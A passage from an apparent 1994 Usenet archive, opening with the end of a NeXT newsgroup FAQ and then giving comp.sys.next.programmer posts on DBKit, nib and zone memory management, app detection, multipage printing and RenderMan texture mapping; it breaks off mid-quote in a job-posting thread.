forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.programmer From: laurent@planon.qc.ca (Laurent Daudelin) Subject: Help with keyProperty (dbKit) !!! Message-ID: <1994Feb28.203025.28692@planon.qc.ca> Sender: laurent@planon.qc.ca Date: Mon, 28 Feb 1994 20:30:25 GMT Hi netter! I have a DBValue that contains an integer value representing a unique serial number for a record in my Informix database. I checked my dbmodel, and the table "numero_unique" is marked as a unique key in the inspector of the DBModeler. Then, back to my application, I try to get the index position of the record that have this unique key and, everytime, the recordList returns DB_NoIndex. I'm performing a fetch on all records just before issuing the positionForRecordKey: message, but to no avail. I checked the key property list using getKeyProperties: and it return only one object in the list, which is the property named "numero_unique". This matches the dbmodel. What should I do to make positionForRecordKey: work as it's supposed to do? Any help, pointer, info would be welcome! Laurent. -- ****************************************************************** Laurent Daudelin, Software Engineer Planon TELEXPERTISE Inc., Boucherville, Quebec, CANADA laurent@planon.qc.ca <-- NeXTMail welcome! (Mac Mail welcome too!)
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: A data shader for RENDERMAN? Message-ID: <1994Feb28.225520.20712@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <2kkqbl$i8m@cisun2000.unil.ch> Distribution: ne Date: Mon, 28 Feb 1994 22:55:20 GMT Sean L. Hill writes > I'm interested in developing some software for visualization in 3D > using Renderman. > > Is it possible to write a shader that would take data from a data file > to use for each point on the surface of an object. I would like to be > able to reference a datafile from within the shader itself. Is this > possible? It would be extremely powerful if it could be done. > > How does mapping of textures get done? It must be something similar? > The best place to discover this information is in Steve Upstill's fine book, "The RenderMan Companion", ISBN 0-201-50868-0. The chapter that is probably most interesting to you is Chapter 12, "Surface Mapping." Let's see if I can do a wicked brief summary, though. Texture mapping was invented by Ed Catmull (President of Pixar and all around nice guy) in 1974 in his astonishingly useful PhD thesis (he also was the first to render curved surfaces and invented the Z buffer at the same time, but I digress). The basic process of texture mapping is taking some 2D image defined with a coordinate space of (say) s and t and mapping it onto some 3D surface defined in x, y, and z. In order to do this transformation, you need to establish some new coordinate system called (say) u and v which exists on the 3D surface and has some transfer function from (s,t) to (u,v). One neat thing about most of the geometry defined in the RenderMan interface is that it's *not* polygonal. The reason this is neat is that, for the most part, there exists a well defined mapping of the 3D coordinates of the geometry to the 2D uv coordinates that are commonly used for texture mapping. If you use polygons, all bets are off (read the RenderMan Companion for more info.) If you stick with quadrics,the mapping of u and v is trivial, and patches and NURBS are also pretty explicable. The second neat thing about RenderMan, and something that's rather unique (and gets to the heart of your problem) is that RenderMan allows you to bind arbitrary named variables that vary over the surface. These values are then available to any shader which asks for them, and can be used to rework the standard mapping of (s,t) to (u,v). This is (to my mind) a vastly underutilized capability of RenderMan that is immensely useful to the scientific visualization community, and which few if anyone has exploited. I've been planning for some time to sit down and write a few good shaders to show this off, but other things have gotten in the way... Anyway, hope that helps a bit. -- --> Michael B. Johnson --> MIT Media Lab -- Computer Graphics & Animation Group --> (617) 253-0663 -- wave@media-lab.media.mit.edu --> NeXT Mail accepted at wave@nordine.media.mit.edu
From: yackd@alaska.et.byu.edu (Don Yacktman) Newsgroups: comp.sys.next.programmer Subject: Re: Is inheritance a good idea? Date: 28 Feb 94 16:40:23 Organization: Brigham Young University, Provo UT USA Distribution: world Message-ID: <2ktvd9$sg9@bones.et.byu.edu> References: <CLnH7q.13C@agedwards.com> <1994Feb26.233524.334@afs.com> Originator: yackd@alaska.et.byu.edu In article <x>, Michael_Pizolato@afs.com (Michael Pizolato) writes: >An explosion of operators in strange places is a potential problem. >[...]. Just like there's no reason not >to have operator overloading, there's also no reason to define '*' >for strings, but if you can justify doing so then there should be >nothing stopping you. Oh, that's easy. Multiply two vectors together (cross product) and you get a 2-d matrix, right? So the '*' operator on strings should give you pretty ASCII line printer pictures, right? :-) Big :-), in fact... :-) :-) :-) -- Don_Yacktman@byu.edu Nepotism is a relative thing. don@darth.byu.edu (My NeXT at home. Send me NeXTMail. Pleeeease.)
From: dario@voluptas (Dario Ringach) Newsgroups: comp.sys.next.programmer Subject: Free-ing a nib and associated controller Date: 28 Feb 1994 17:59:28 GMT Organization: New York University Distribution: world Message-ID: <2ktbe0$od1@cmcl2.NYU.EDU> I want to free a nib and it's associated controller when the user pushes the close button on the window. I made the controller the delegate for the window and in -windowWillClose I have the following: -windowWillClose:sender { [sender setDelegate: nil]; return [self free]; // free controller object } In the interface builder, I checked the "free when closed" option for the window. However, when I run the program the first time I click the close button it doesn't dissapear from the screen... The second time I click the button it does close but I get an error. Does anyone know what the problem is? What is the cleanest way to free a nib and its associated controllers? Thanks!!!! -- Dario
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: detecting whether an app is running Message-ID: <CLxtv2.H0@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <CLwGnL.J5v@relief.com> Date: Mon, 28 Feb 1994 14:06:37 GMT > In article <2kohqh$bea@Times.Stanford.EDU> hitt@Xenon.Stanford.EDU (Daniel > Hitt) writes: > > Is there a way for an app to detect whether another app is running > > (e.g., Edit or Webster), WITHOUT (of course) starting up the other > > app? > > > > Of course this can be done by forking off a ps process and grepping > > through its output, but i would prefer a simple message or > > function call to do this. > > > > (If this is a FAQ, and i think i remember seeing it on the programmer's > > list sometime back, please tell me how to access it from the FAQ.) > > > > Thanks > > > > dan > > hitt@cs.stanford.edu Assuming that you have an application running that wants to listen for applications being launched, you can: [[Application workspace] beginListeningForApplicationStatusChanges]; Then, in [NXApp delegate], implement any of the following methods: - app:sender applicationWillLaunch:(const char *)appName; - app:sender applicationDidLaunch:(const char *)appName; - app:sender applicationDidTerminate:(const char *)appName; b.bum -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
Newsgroups: comp.sys.next.programmer From: thomas@netcom.com (Tom Thomas) Subject: US time zone changes by zip Message-ID: <thomasCLyutA.5po@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Tue, 1 Mar 1994 03:24:45 GMT I need to find a way to determine time zone changes by zip code. Is there a list or something that would help me with this? Just wondering.. If there is a better place to post this question, please let me know, I'm currently developing with NS, and this is the most convenient place to post this question... Thanks! Tom Thomas thomas@netcom.com (usually)
From: sanguish@digifix.com (Scott Anguish) Newsgroups: comp.sys.next.programmer Subject: SUMMARY: Distributed Objects Examples Date: 1 Mar 1994 01:04:30 -0500 Organization: Digital Fix Development Distribution: world Message-ID: <2kulte$c9i@digifix.digifix.com> I had asked for examples of Distributed Objects programs that implement multi-threading... This seems to be all there is /NextDeveloper/Examples/IndexingKit/RemoteVote /NextDeveloper/Examples/IndexingKit/RemoteSpot This example of a ported Byte NT example cs.orst.edu:/pub/next/sources/graphics/Multi.tar.gz Erik Kay pointed out his excellent Splat game, and on top of being a good example, its really fun to play /pub/next/sources/games/Splat-1.0(source).compressed If you are sitting on any good simple examples, please make them available... I got alot of requests for the information that I collected. -- - Scott Anguish - sanguish@digifix.com (NextMail) next-announce@digifix.com (comp.sys.next.announce submissions)
From: sanguish@digifix.com (Scott Anguish) Newsgroups: comp.sys.next.programmer Subject: Using the Services/Pasteboard conversion capabilites Date: 1 Mar 1994 01:08:02 -0500 Organization: Digital Fix Development Distribution: world Message-ID: <2kum42$c9l@digifix.digifix.com> I'm trying to figure out how this can be done.... I have a program that saves a proprietary format eps tiff and I'd like to be able to leverage off some convertors that are available like the Bacchus ones, so I can support additional file types fairly easily. It seems like the Services and filter services would be the way to do it... make a list of the types I can offer, run that by the pasteboard conversion routines, let the user choose from the list that returns, and then do the conversion on a copy of the saved eps or tiff file.... Is there an easier way? Is that a reasonable way? Will summarize -- - Scott Anguish - sanguish@digifix.com (NextMail) next-announce@digifix.com (comp.sys.next.announce submissions)
From: hitt@Xenon.Stanford.EDU (Daniel Hitt) Newsgroups: comp.sys.next.programmer Subject: Re: detecting whether an app is running Date: 1 Mar 1994 07:03:42 GMT Organization: Computer Science Department, Stanford University. Message-ID: <2kupce$nfp@Times.Stanford.EDU> References: <CLwGnL.J5v@relief.com> <CLxtv2.H0@friday.com> Summary: NXPortNameLookup() does the trick Keywords: NXPortNameLookup, detecting whether an app is running Thanks to jjfeiler@relief.com, eps@futon.sfsu.com, and bbum@friday.com for remarks about NXPortNameLookup(). The only thing i have to add, if there's anybody out there as clueless as i was, is just a little synopsis: #import <mach.h> #import <appkit/Listener.h> /* for prototype of NXPortNameLookup() */ port_t thePort; if (thePort=NXPortNameLookup(applicationInQuestion,(char *)0)) { /* do what you want here, and then */ port_deallocate(task_self(),thePort); } else { printf("application in question is not running . . .\n"); } dan hitt@cs.stanford.edu
From: leuschr@NeXTwork.Rose-Hulman.Edu (Rainer Leuschke) Newsgroups: comp.sys.next.programmer Subject: How to create a Help.store file? Date: 28 Feb 1994 22:05:05 GMT Organization: Rose-Hulman Institute of Technology Message-ID: <2ktpqh$1kc@master.cs.rose-hulman.edu> The subject says it all. The only thing I came up with in the NeXT docs was the hint that Help.store is a compressed help directory, tata .. I knew that before, but how do I create it? Is it 'compress'ed and renamed or what? Uncompress doesn't seem to work on an Help.store. tanks, rainer -- Rainer Leuschke leuschr@nextwork.rose-hulman.edu __o Box #781, 5500 Wabash Ave, Terre Haute, IN 47803, USA _`\<,_ "Der Dativ ist dem Genitiv sein Tod." (_)/ (_)
Newsgroups: comp.sys.next.programmer From: mrothste@worf.acs.calpoly.edu (Mont Rothstein) Subject: Re: Let us be philosophical Message-ID: <1994Mar01.073229.120032@zeus.aix.calpoly.edu> Sender: news@zeus.calpoly.edu Organization: /usr/spool/news/organization References: <2kl4v5$arb@meaddata.meaddata.com> <1994Feb25.182339.5944@adobe.com> Date: Tue, 01 Mar 1994 07:32:29 GMT In article <1994Feb25.182339.5944@adobe.com>, Scott Byer <byer@mv.us.adobe.com> wrote: >Dave Anderson writes > >> michael barthelemy > Since Obj-C method calls are about four times >> michael barthelemy > slower than function calls... > >> I'm just wondering where this stat comes from; I'd like to read the >> reference. > >I understand that it's about 9-12 instructions overhead on the 68k >for an ObjC call. Given that it doesn't have to put up a stack >frame, that about equivalent to the frame begin/end instructions >(which, although only about 6-8 instructions, includes the MMOV >instruction for saving off the registers, which is expensive), maybe >even less. > >So I'd hardly say four times. Maybe something more like 1.5 - 2 times. > >Note that on a RISC architecture, the difference becomes even less. >The function call would break the pipe anyway, and putting up a >stack frame is more expensive by far than the few instructions >needed to compute the jump on the ObjC overhead, so the ratio there >(as an educated guess) would be 1.2 - 1.4 times. > >All this is moot for tight loops, where the programmer *should* be >pre-fetching a procedure pointer using @selector and calling through >that. The only case where that couldn't be done is where you are >traversing down a list of objects. But since you couldn't do that >in C anyway :-), a small amount of overhead is irrelevant. > >-- >Scott Byer NeXTMail: byer@mv.us.adobe.com >Adobe Systems Incorporated These are *my* opinions, and >1585 Charleston Road, P.O. Box 7900 do not necessarily reflect >Mountain View, CA 94039-7900 the opinions of my employer. >--------------------------------------------------------------------- I've always heard that C++ was faster than Objc-C, but I recently learned that C++ uses name mangeling for its virtual lookup tables and Objc-C uses hashing for methods. Has anyone done a flat out comparison of the two? Prefreably the same code and both under NeXTSTEP. Curious, -- -Mont NeXTmail OK :-) mrothste@data.acs.calpoly.edu
Newsgroups: comp.sys.next.programmer From: blanford@gemstone.com (Ron Blanford) Subject: Re: Help with keyProperty (dbKit) !!! Message-ID: <1994Mar1.094410.22671@venice.sedd.trw.com> Originator: blanford@arkenstone Sender: news@venice.sedd.trw.com (USENET News) Organization: TRW Systems Engineering & Development Division, Carson, CA References: <1994Feb28.203025.28692@planon.qc.ca> Date: Tue, 1 Mar 1994 09:44:10 GMT In article <1994Feb28.203025.28692@planon.qc.ca> laurent@planon.qc.ca (Laurent Daudelin) writes: > I have a DBValue that contains an integer value representing a unique > serial number for a record in my Informix database. I checked my > dbmodel, and the table "numero_unique" is marked as a unique key in the > inspector of the DBModeler. > > Then, back to my application, I try to get the index position of the > record that have this unique key and, everytime, the recordList returns > DB_NoIndex. I'm performing a fetch on all records just before issuing > the positionForRecordKey: message, but to no avail. > > I checked the key property list using getKeyProperties: and it return > only one object in the list, which is the property named > "numero_unique". This matches the dbmodel. > > What should I do to make positionForRecordKey: work as it's supposed to > do? > > Any help, pointer, info would be welcome! > > Laurent. I have found that the only reliable way to use positionForRecordKey is to give it a key value which has been generated by the getRecordKeyValue:at: method. The dbValue this method returns has an objectValue which is a dbGenericRecord containing one or more key properties. It is possible to construct one of these key values from scratch, but not without using undocumented dbKit classes and methods. In your case if you felt daring you might do something like: - (int) positionFor:(DBValue *)serialNumberValue in:(DBRecordList *)recordList; { int index; id keyValue = [[DBValue alloc] init]; id keyPropList = [[List alloc] init]; [recordList getRecordKeyValue:keyValue at:0]; [recordList getKeyProperties:keyPropList]; // This is an undocumented method of an internal class. [[keyValue objectValue] setIntValue:[serialNumberValue intValue] forProperty:[keyPropList objectAt:0]]; index = [recordList positionForRecordKey:keyValue]; [keyValue free]; [keyPropList free]; return index; } -- Ron blanford@spf.trw.com
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: How to modify SavePanel/OpenPanel behavior Message-ID: <CEDMAN.94Feb28234503@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University Date: Tue, 1 Mar 1994 04:45:01 GMT For a program I'm currently writing I need to create a file panel which both allows users to select new file names (like SavePanel does) and doesn't bring up the silly replace requester when an already existing file is selected (as OpenPanel does). Achieving this end seems surprisingly difficult. There is no documentation on what methods need to be subclassed or if something less than an entire new class will do. Only Eric P. Scotts class-dump sheds (as it so often does) some light on the issue by revealing the fileFilterFunc and setFileFilterFunc: methods of OpenPanel both of which seem to be public but undocumented and which may or may not be the answers to this problem. Naive attempts to set the file filter function to something reasonable unfortunately seem to have no effect at all. Can anybody give some more information on this subject, or is it really necessary to re-implement a file panel from scratch for this simple task ? Carl Edman
Newsgroups: comp.sys.next.programmer From: paul@psmpaul.demon.co.uk (Paul Meier) Subject: Database Admin Software? Message-ID: <CLzD45.Btt@demon.co.uk> Sender: news@demon.co.uk (Usenet Administration) Organization: Demon Internet Date: Tue, 1 Mar 1994 10:00:04 GMT Does anyone know of any DBAdmin software like DB Commander, Dataspace (if it is released), or Schema E which works with Gupta SQLBase, instead of just with Sybase? Paul Meier paul@psmpaul.demon.co.uk
From: Lucas.Filz@serv.univie.ac.at (Lucas Filz) Newsgroups: comp.sys.next.programmer Subject: sim56000 Date: 1 Mar 1994 09:58:10 GMT Organization: Institute for Bioengineering Sender: michael@rs2.iaee.tuwien.ac.at () Distribution: world Message-ID: <2kv3ji$kaq@email.tuwien.ac.at> please tell me, where I can get the simulator for the DSP56000 via ftp? Thank you, Lucas.Filz@serv.univie.ac.at
From: Lucas.Filz@serv.univie.ac.at (Lucas Filz) Newsgroups: comp.sys.next.programmer Subject: RS-423 programming Date: 1 Mar 1994 10:00:12 GMT Organization: Institute for Bioengineering Sender: michael@rs2.iaee.tuwien.ac.at () Distribution: world Message-ID: <2kv3nc$kaq@email.tuwien.ac.at> I need a simple test program for an RS-232 style serial device. Can anybody mail me such a simple command-line program for a NeXTstation with the necessary steps for initialisation read/write and cleanup? Thank you, Lucas.Filz@serv.univie.ac.at
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: Free-ing a nib and associated controller Message-ID: <CLzFDL.3sJ@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <2ktbe0$od1@cmcl2.NYU.EDU> Date: Tue, 1 Mar 1994 10:48:56 GMT Dario Ringach writes > -windowWillClose:sender > { > [sender setDelegate: nil]; > return [self free]; // free controller object > } > In the interface builder, I checked the "free when closed" option > for the window. However, when I run the program the first time > I click the close button it doesn't dissapear from the screen... free returns nil and according to the docs - windowWillClose:sender Invoked just before the user (or the performClose: method) closes the sender Window. If this method returns nil, the Window isn't closed. -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
Newsgroups: comp.sys.next.programmer From: ljh@zoo.bt.co.uk (Les Harvey) Subject: DBKit Message-ID: <1994Mar1.132017.14166@zoo.bt.co.uk> Keywords: DBKit ORACLE Sender: news@zoo.bt.co.uk Organization: BT Laboratories Date: Tue, 1 Mar 94 13:20:17 GMT I am using NS3.0 on Black hardware and have hit some problems when using DBKit with ORACLE V6. He goes, I have 3 entities defined in DBModeller, say A, B and C. I have defined a relationship from A to B and from B to C. I have a nib in which these fields have been connected and fetches on the A entity work fine, the related records from entities B and C are also fetched. From this window I launch a request, via the serial port, to get some info related to the displayed record. When the reply arrives, it may take sometime and the original window may now not be visible, from the same nib I update the Oracle database using the evaluteString: method enclosed within a transaction. result = [database beginTransaction]; result = [database evaluateString:sqlBuffer]; if (result==YES) result = [database commitTransaction]; The SQL string UPDATES the records for the C entity, these may or may not be currently displayed, but obviously still held within the recordList of the appropiate fetchGroup. The problem is that usually, but not always, I generate a memory access violation when I attempt to fetchContentsOf:usingQualifier: on the record that has been successfully updated within Oracle. I think I need to flush the records for entity C somehow. Apologies if I am doing something really dumb. Hope somebody can help. Thanks. Les Harvey
From: slores@hebron.connected.com (Kurt Schmidt) Newsgroups: comp.sys.mac.programmer,comp.sys.next.programmer,comp.sys.sun.misc,comp.databases,comp.databases.sybase,comp.databases.oracle,comp.databases.object,comp.sys.mac.databases,comp.unix.programmer Subject: Re: ***POSITION AVAILABLE:SYSTEMS PROGRAMMER/DATABASE DESIGNER*** Date: 1 Mar 1994 00:14:08 -0800 Organization: Connected INC -- Full Service Internet Providers(tm) Message-ID: <2kutgg$ag0@hebron.connected.com> References: <2kt8ab$51g@spool.mu.edu> <gregor.1112859278I@ra.nrl.navy.mil> The programming world sure has matured. Used to be that only typing was required...
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Zones: I think there's a fundamental design problem with using them. Date: 1 Mar 1994 12:11:20 -0000 Organization: me organized? That's a joke! Message-ID: <2kvbd8$ar@steffi.demon.co.uk> Posted to csnp. How do _you_ use NXDestroyZone? Since you can only DestroyZone once it doesn't lend itself to the subclassing paradigm. Supposing I have my file's owner for a Document NIB thus. #import "NIBDocument.h" #import <objc/zone.h> @implementation NIBDocument - loadNib { NXZone *z = [self zone]; NXNameZone(z,self->isa->name); [NXApp loadNibSection:"Document.nib" owner:self withNames:NO fromZone:z]; return self; } - showWindow:sender { [window makeKeyAndOrderFront:sender]; return self; } - windowWillClose:sender { fprintf(stderr,"About to free\n"); return [NXApp delayedFree:self]; } - close:sender { fprintf(stderr,"About to close\n"); return [window performClose:sender]; } - free { NXZone *z = [self zone]; fprintf(stderr,"Freed\n"); [window setDelegate:nil]; window = [window free]; [super free]; if (z != NXDefaultMallocZone()) { NXDestroyZone(z); } return nil; } @end --- Note: the NXDestroyZone call can only be placed in the leaf of the tree. This means that I cannot have the traditional [super free] chaining structure because I must remember to free the Zone. But each time I free the zone I have to reposition the NXDestroyZone call so that it only appears in the most specialized class. Thoughts? One thing that comes to mind is only NXDestroyZone IFF the implementation of free is the most derived one. ie. [self class] has no further subclasses _that add their own state_ My tests have concluded that it's not wise to NXDestroyZone twice so perhaps this should be written such that it marks a zone invalid so that destroy() isn't called again. So how do _you_ currently deal with destroying Zones? I know you can reuse Zones ala Draw. And I'm starting to believe that that's a good approach except that. + (void)reuseZone:(NXZone *)aZone { if (!zoneList) zoneList = [List new]; [zoneList addObject:(id)aZone]; NXNameZone(aZone, "Unused"); } should only addObject if it's already absent. BTW: Here's another case where struct's are being cast to (id)'s so they can be used in List. I've seen some code which does the same with char *'s in order to save using Storage. What's the official word on this? What is the percieved difference in performance in using Zones? How significant is it now that hardware is catching up. Is this still an issue? Are Zones to appear in OPENSTEP?
From: fxg@wolf.informatik.rwth-aachen.de (Felix Gatzemeier) Newsgroups: comp.sys.next.programmer Subject: Re: Subclass conforming to protocol // IB question Date: 01 Mar 1994 16:10:29 GMT Organization: Lehrstuhl fuer Informatik III, RWTH Aachen, Germany Message-ID: <FXG.94Mar1171030@wolf.informatik.rwth-aachen.de> References: <1994Feb18.224847.1127@afs.com> <CLHK6F.HA@belly.in-berlin.de> <FXG.94Feb28174336@wolf.informatik.rwth-aachen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit In-reply-to: fxg@wolf.informatik.rwth-aachen.de's message of 28 Feb 1994 16:43:34 GMT Well, kinda moron to follow-up my own post. But I got some further Inormation from Art Isbell on this. He pointed out to me that IB doesn't know anything about preprocessor directives or other C stuff. It just scans for ivars of type "id" as outlets and methods with one argument "sender" as actions. So, the #if... is there to hide these declarations from the C compiler. Just for those truth-seekers out there. (Another truth matter: I don't claim any credit for this. It's just so neat I think it deserves regular reposting when asked for.) -- Felix (fxg@(([Pool|I3].Informatik)|(Tolkien.ImIB)).RWTH-Aachen.de NeXT-Mail ok, but slow)
Newsgroups: comp.sys.next.programmer From: jcassidy@quark.uwaterloo.ca (James Cassidy) Subject: Multipage printing problem Message-ID: <CLzt0p.73C@watserv1.uwaterloo.ca> Sender: news@watserv1.uwaterloo.ca Organization: University of Waterloo Date: Tue, 1 Mar 1994 15:43:36 GMT I haven't been able to find any examples of multipage printing so... What I have is a view that is very long (it's data from a sample of genetic material). My goal is to have a reasonable portion of the view drawn across each page under my apps control. I have connected the print menu item to the printPSCode method in the apps first responder object. The long view object contains these methods: - (BOOL) knowsPagesFirst:(int *) firstPageNum last:(int *) lastPageNum { return YES; } - (BOOL) getRect:(NXRect *) theRect forPage:(int) page { *theRect = bounds; theRect->size.width = 200.0; theRect->origin.x = page * 200.0; if( theRect->origin.x > bounds.size.width ) return NO; else return YES; } (The code inside getRect:: is just for testing.) But nither of these methods get called! What happens is; the window and it's contents get printed. It's as if the message gets sent to the window rather than the view. If anyone could point me to a snippit of code or provide some wisdom on this matter I would be greatful! (The NeXT examples I've found only show single page printing) Jim. jcassidy@quark.uwaterloo.ca
From: Charlesa@learned.co.uk Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.programmer,comp.sys.next.misc Subject: NS 3.2/I and putenv() Date: Tue, 01 Mar 94 17:32:19 BST Organization: EUnet GB Message-ID: <2kvube$pgg@marble.Britain.EU.net> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi - I'm trying to run make on a makefile, and it keeps telling me the following: ld: Undefined symbols: _putenv *** Exit 1 Stop. *** Exit 1 Stop. How can I get NS3.2 for Intel to accept the putenv() call? Thought are very appreciated. Charles charlesa@learned.co.uk
From: Charlesa@learned.co.uk Newsgroups: comp.sys.next.software,comp.sys.next.programmer,comp.sys.next.misc,comp.sys.next.bugs Subject: Backspace bug? Date: Tue, 01 Mar 94 17:35:08 BST Organization: EUnet GB Message-ID: <2kvue7$pgg@marble.Britain.EU.net> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I can't get the BackSpace modules to complie correctly with 3.2. The make install keeps looking for a file which doesn't exist. Anybody else run into this? Charles
From: gbol@custard.think.com (Gregory Lampshire) Newsgroups: comp.sys.next.programmer Subject: DB Adaptors: Does NeXT plan to release source so more can be written? Date: 1 Mar 94 14:45:23 Organization: Thinking Machines Corporation, Cambridge MA, USA Distribution: world Message-ID: <GBOL.94Mar1144523@custard.think.com> I assume that the SQL adapters are more complex than most implying that source would be beneficial. Just curious. gregory
Newsgroups: comp.sys.next.programmer From: jmh@info.polymtl.ca (Jean-Marc Heneman) Subject: DBKit, binder, new record problem Message-ID: <1994Mar1.194252.547@vlsi.polymtl.ca> Summary: problems with dbkit using appendRecord & evaluateString Sender: news@vlsi.polymtl.ca (USENET News System) Organization: Ecole Polytechnique de Montreal Date: Tue, 1 Mar 1994 19:42:52 GMT I have a strange behavoir when I use a [DBRecordList appendRecord] and a [DBBinder evaluateString:string]. When I use only one, I have no problem. The DBBinber myBinder when accessing method [myBinder evaluateString:SQLcommandtogetuniqueid] provoques a Bus error or segmentation fault ( in gdb : Program generated(1): Memory access exception on address 0x20 (protection failure). 0x5005f36 in objc_msgSend () ) when I am calling it few times in a loop, first times acting as expected. any hints? jean-marc :-? -- jmh jean-marc heneman = jmh@info.polymtl.ca if mail bounces, try jmh@aircanada.ca I prefer ASCII mail for now, but you can send me NextMail for attachment __ / /_/ __/ / /
Newsgroups: comp.sys.mac.programmer,comp.sys.next.programmer,comp.sys.sun.misc,comp.databases,comp.databases.sybase,comp.databases.oracle,comp.databases.object,comp.sys.mac.databases,comp.unix.programmer From: evans@world.std.com (Charles H. Evans) Subject: Re: ***POSITION AVAILABLE:SYSTEMS PROGRAMMER/DATABASE DESIGNER*** Message-ID: <CM099B.71x@world.std.com> Organization: The World Public Access UNIX, Brookline, MA References: <2kt8ab$51g@spool.mu.edu> <gregor.1112859278I@ra.nrl.navy.mil> Date: Tue, 1 Mar 1994 21:34:23 GMT gregor@nrlfs1.nrl.navy.mil (joe gregor) writes: >In Article <2kt8ab$51g@spool.mu.edu>, alec@carie.dental.mu.edu (Alec >Ellsworth) wrote: >> >>Qualifications include: Bachelor's Degree in Computer Science or >>equivalent required. Experience with a UNIX based distributed >>client/server database with Macintosh clients, familiarity with 4th >>Dimension for Macintosh, experience in the administration of an >>ethernet LAN with a UNIX host running DNS, Synoptics Optivity and IPT >>UShare with Macintosh clients, ability to demonstrate a working >>knowledge of C/C++ for Macintosh and SUN and excellent verbal and >>written communication skills. Experience in dental information systems >>and familiarity with dental terminology preferred. We are looking for >>a person who can effectively communicate with non-technical dental >>professionals, as well as with the systems development leadership. >>Requires at least 2 years post 